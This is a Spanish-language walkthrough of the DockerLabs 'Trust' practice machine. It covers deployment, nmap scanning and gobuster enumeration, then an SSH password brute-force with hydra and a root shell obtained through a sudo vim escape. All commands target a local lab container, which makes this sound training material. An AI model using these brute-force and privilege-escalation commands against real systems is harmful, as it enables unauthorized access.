> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/trust.md).

# Trust

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Trust** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Una vez descargado el archivo `trust.zip`, procedemos a descomprimirlo utilizando la herramienta `7z`, utilizando el siguiente comando:

```bash
7z x trust.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fm02iNjtSRQQM07HOEpBi%2FPasted%20image%2020250626142953.png?alt=media&amp;token=41836af9-d160-4868-9df2-2ded84d4225a" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Utilizamos el script proporcionado (`auto_deploy.sh`) para desplegar la máquina en Docker:

```bash
bash auto_deploy.sh trust.tar
```

Al finalizar la ejecución del script, se nos proporciona la dirección IP de la máquina (`172.18.0.2`), que utilizaremos para todas las interacciones posteriores.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FE0RPBcLZH2G6aAE0LDp5%2FPasted%20image%2020250626143106.png?alt=media&amp;token=7e9c0cc6-40ce-4408-9032-9f3e07b21719" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Comprobación de conectividad**

Verificamos si la máquina es alcanzable mediante un `ping`:

```bash
ping -c 1 172.18.0.2
```

El resultado muestra un **TTL** de **64**, lo cual es indicativo de un sistema operativo **Linux**, ya que por defecto, utiliza este valor.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FOpTPN2WhnfIKAygHLS3Y%2FPasted%20image%2020250626143446.png?alt=media&amp;token=463ec69b-394b-41d3-8bba-67f4b6824ac4" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido de puertos abiertos con `nmap`:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.18.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** SSH.
* **Puerto 80:** HTTP.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FFSVLe4ta5FGAJZs5txQY%2FPasted%20image%2020250626143558.png?alt=media&amp;token=5746aec8-8a43-4eaf-9229-09f581aa66e1" alt=""><figcaption></figcaption></figure>

Analizamos los puertos abiertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.18.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.57.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FKUkQb9oPvuR8D3z3Lf19%2FPasted%20image%2020250626143650.png?alt=media&amp;token=8c64eb40-94f2-4d9a-a7fa-0275be96c3b3" alt=""><figcaption></figcaption></figure>

#### **2.3. Análisis web**

Al acceder mediante el navegador a `http://172.18.0.2`, visualizamos la página por defecto del servidor de Apache, sin contenido relevante a simple vista.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FiX88O1QtcT33UGtKwePe%2FPasted%20image%2020250626143742.png?alt=media&amp;token=f5af5715-5d23-4dab-a5da-4fb79dda93e2" alt=""><figcaption></figcaption></figure>

#### **2.4. Enumeración de recursos web**

Utilizamos `gobuster` para descubrir directorios y archivos ocultos:

```bash
gobuster dir -u http://172.18.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php
```

> **Recuerda:** La opción `-x .php` permite buscar archivos con extensión PHP, que suelen estar presentes en aplicaciones dinámicas.

Entre los resultados, encontramos un archivo llamado `secret.php`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fc9dyxXgb1rC0TGJ4SC5z%2FPasted%20image%2020250628090201.png?alt=media&amp;token=fe12f982-b0cc-4e63-82d6-3d3e3ace1728" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Descubrimiento de un usuario**

Al visitar `http://172.18.0.2/secret.php`, encontramos un posible nombre de usuario `mario`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FXCDn3vQKtvywgHy9AVVM%2FPasted%20image%2020250626143916.png?alt=media&amp;token=1d66f1b4-ed9b-4e38-866d-43965d5cd184" alt=""><figcaption></figcaption></figure>

#### **3.2. Fuerza bruta sobre SSH**

Utilizamos la herramienta `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH, intentando descubrir la contraseña del usuario `mario`:

```bash
hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.18.0.2 ssh
```

**Resultado:** La contraseña del usuario `mario` es `chocolate`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FdpoiD5UahtOQMTP31yWP%2FPasted%20image%2020250626144012.png?alt=media&amp;token=5931afa5-a8b5-4d56-b7ff-f189be185b9f" alt=""><figcaption></figcaption></figure>

#### **3.3. Acceso SSH**

Nos conectamos al sistema por SSH:

```bash
ssh mario@172.18.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F115I0Xqje8h79K2r2hrK%2FPasted%20image%2020250626144039.png?alt=media&amp;token=a079ba8c-fd2c-4e21-9821-61bdd90c0a96" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Comprobación de permisos**

Verificamos los permisos que el usuario `mario` puede ejecutar con privilegios elevados:

```bash
sudo -l
```

**Resultado:** El usuario `mario` puede ejecutar `vim` como `root` sin proporcionar contraseña:

```bash
(ALL) /usr/bin/vim
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F5EWHwGyJ7d2ZgM2gcHm4%2FPasted%20image%2020250626144314.png?alt=media&amp;token=d694bf5d-c391-44fa-acd3-7d66b510d47e" alt=""><figcaption></figcaption></figure>

#### **4.2. Escalada mediante vim**

Consultamos el recurso [GTFOBins](https://gtfobins.github.io/gtfobins/vim/) para identificar métodos de abuso de este binario:

```bash
sudo vim -c ':!/bin/sh'
```

**Resultado:** Obtenemos una shell con privilegios de `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FN9PDaztlAQdzoiFiLBpx%2FPasted%20image%2020250626144425.png?alt=media&amp;token=547de8c1-d1e4-47fa-9205-aec213f65655" alt=""><figcaption></figcaption></figure>
